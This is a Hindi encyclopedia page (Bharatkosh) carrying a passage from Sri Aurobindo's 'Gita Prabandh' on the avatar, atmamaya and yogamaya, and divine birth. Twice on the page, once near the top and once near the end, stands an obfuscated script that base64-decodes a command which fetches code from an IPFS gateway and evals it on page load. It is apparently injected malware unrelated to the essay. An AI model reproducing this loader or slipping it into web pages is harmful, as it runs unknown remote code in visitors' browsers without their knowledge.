गीता प्रबंध -अरविन्द पृ. 149

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गीता-प्रबंध
15.अवतार की संभावना और हेतु

फिर, “अपनी प्रकति के ऊपर स्थित होकर मैं अपनी आत्ममाया से जन्म लेता हूं, अपने - आपको उत्पन्न करता हूं, पद से दबाव डालना सूचित किया गया है जिससे अधिकृत वस्तु परवश, परपीड़ित, अपनी क्रिया में अवद्ध या परिसीमित और वशी के वश मे, होती है; इस क्रिया में प्रकृति यंत्रवत् जड़ होती है और प्राणिसमूह उसकी इस यात्रिंकता में बेबस फंसे रहते हैं, अपने कर्म के स्वामी नहीं होते । ‘ अधिष्ठाय’ पद इसके विपरीत, अंदर स्थित होना तो सूचित करता ही है, पर साथ ही प्रकृति के ऊपर स्थित होना भी सूचित करता है जिससे यह अभिप्रया निकला कि इसमे भगवान् अंतर्यामी अधिष्ठातृ - देवता होकर प्रकृति का सचेतन नियंत्रण और शासन करते हैं, यहां पुरूष अज्ञान के वश में विवश होकर प्रकृति के चलाये नहीं चलता, बल्कि प्रकृति ही पुरूष के प्रकाश और संकल्प से परिपूर्ण होती है । इसलिये सामान्य प्राणिजन्मरूप जो विसर्ग है वह प्राणियों या भूतों की सृष्टि है जिसे गीता भूतग्राम कहती है दिव्यजन्मरूप जो सर्ग या आत्मसृटि है वह स्वात्मसचेतन स्वयंभू आत्मा का जन्म है जिसे गीता आत्मानं कहती है ।
यहां पर यह बात जान लेनी चाहिये कि ‘ आत्मान’ और ‘भूतानि’ का वेदांतशास्त्र में वही भेद माना गया है जो भेद पश्चात्य दर्शन सत्ता और उसकी संभूति में करता है। दोनों जन्मों में माया ही सृष्टि या अभिव्यक्ति का साधन है, पर दिव्य जन्म में यह ‘आत्ममाया’ है, अज्ञान की निम्नतर माया में संवेष्टन नहीं, बल्कि स्वतः - स्थित परमेश्वर का प्रकृति रूप में अपने - आपको प्रकट करने का सचेतन कर्म है जिसे अपनी क्रिया और अपने हेतु का पूरा बोध है। इसी कर्मशक्ति को गीता ने अन्यत्र योगमाया कहा है। सामान्य प्राणिजन्म में भगवान्, इस योगमाया के द्वारा अपने - आपको निम्नतर चेतना से ढा़ंके और छिपाये रहते हैं, इसलिये यही हमारे अज्ञान का कारण बनती है , यही अविद्या माया है; परंतु फिर इसी योगमाया के द्वारा हमारी चेतना को भगवान् की ओर पलटाकर हमें आत्मज्ञान की प्राप्ति करायी जाती है, वहां यह ज्ञान का कारण बनती और विद्यमाया कहलाती है; और दिव्य जन्म में इसकी क्रिया यह होती है कि जो कर्म सामान्यतः अज्ञान में किये जाते हैं उनको यह स्वयं ज्ञानस्वरूप रहकर संयत और आलोकित करती है। इसलिये गीता की भाषा से यह स्पष्ट होता है कि दिव्य जन्म में भगवान् अपनी अनंत चेतना के साथ मानवजाति में जन्म लेते हैं और यह मूलतः सामान्य जन्म का उलटा प्रकार है - यद्यपि जन्म के साधन वे ही हैं जो सामान्य जन्म के होते हैं - क्योंकि यह अज्ञान में जन्म लेना नहीं, बल्कि यह ज्ञान का जन्म है, कोई भौतिक घटना नहीं बल्कि यह आत्मा का जन्म है।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:गीता प्रबंध